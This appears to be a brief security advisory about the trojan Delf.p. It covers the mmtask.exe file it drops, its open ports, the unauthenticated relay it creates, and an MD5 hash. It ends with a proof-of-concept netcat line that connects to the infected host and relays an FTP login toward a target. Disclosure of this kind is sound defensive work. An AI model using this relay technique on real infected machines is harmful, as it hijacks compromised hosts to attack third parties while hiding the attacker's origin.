Threat: Trojan-Dropper.Win32.Delf.p Vulnerability: Missing Authentication Description: Delf.p drops an executable named "mmtask.exe" under system32 dir, it listens on TCP ports 3080,1180,1181,1182,1183 and UDP ports 53, 52304. The malware accepts TCP connections, connects to a destination, and relays requests from the original connection to the destination and then back to the origination system. Attackers who can reach an infected system may launch attacks or port scan third party systems and will appear as the attacks originated from that infected host. The malware can make connections to various protocols like TELNET, HTTP, SSH, POP3 etc Type: PE32 MD5: b02cc578d2e7f24fb67ec0afc42a9e13 Vuln ID: MVID-2021-0132 Dropped files: mmtask.exe Disclosure: 03/16/2021 Exploit/PoC: nc64.exe MALWARE_HOST 1183 220 WinGate Engine FTP Gateway ready USER root@TARGET_IP:21 331 Please specify the password.
